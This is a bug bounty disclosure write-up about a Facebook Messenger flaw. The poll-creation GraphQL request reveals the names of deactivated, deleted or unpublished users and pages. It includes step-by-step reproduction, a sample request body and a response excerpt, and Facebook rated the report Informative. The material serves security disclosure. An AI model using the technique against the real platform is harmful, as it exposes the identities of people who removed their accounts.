Kassem Bazzoun

Published On: 23 Mar 2022

Disclosing names of unpublished/deactivated/deleted users and pages

Privacy/Authentication
Facebook | Android
---
LOW INFORMATIVE
Description

There's an option in Facebook Messenger to create poll and choose a type of question that can select members of the group chat to make a vote . The GraphQl request responsible to create this poll will takes users ids as array, its possible for attackers to put ids for users/pages thats are deactivated/deleted/unpublished and the poll will be created and the names of these users/pages will be disclosed .

Impact

its possible to disclose the names of pages and users that are unpublished /deactivated or even deleted .




Reproduction Steps

Step
1

Create a Group chat this step is important because the attacker wants to create a poll in the chat .

Step
2

Now we wants to disclose some users/pages names that are deleted,unpublished or deactivated

e.g we have the following id a user with id : 5320 (deactivated user)

if you try to open these profiles you wont be able since they are deactivated or deleted

www.facebook.com/5320 

Step
3

To disclose the names of these ids attacker will create a poll in the chat and will put these 2 ids as users ids in the "options" array

option_user_id -> put a user or page ids that are disabled/unpublished/deactivated..

target_id-> is the group chat id .

Step
4


"variables": {
"input": {
"target_id": "----",
"question_type": "MOST_LIKELY_TO",
"question_text": "Disclose names ",
"client_mutation_id": "-----",
"answers_state": "OPEN",
"options": [
{
"option_user_id": "5320",
"option_text": "Kassem Whitehatt",
"is_selected": false
},
{
"option_user_id": "----",
"option_text": "Kassem Whitehatt",
"is_selected": false
}

Step
5

Now the response will contain the question id created ( we want to fetch this question id )

Response will contain the name of the deactivated user

 

"options": {
"nodes": [
{
"id": "364045391718709",
"associated_thread_participant": null,
"text_with_entities": {
"text": "Phil SH..."
},
"viewer_has_voted": false,
"messaging_voters": {
"count": 0,
"nodes": [
]
}
},
{

Timeline
.
Kassem 21 Jan 2022

Report Sent

.
Facebook 25 Jan 2022

Informative We have discussed the issue at length and concluded that, whilst you reported a valid issue which the team may make changes based on, unfortunate ... See More

INFORMATIVE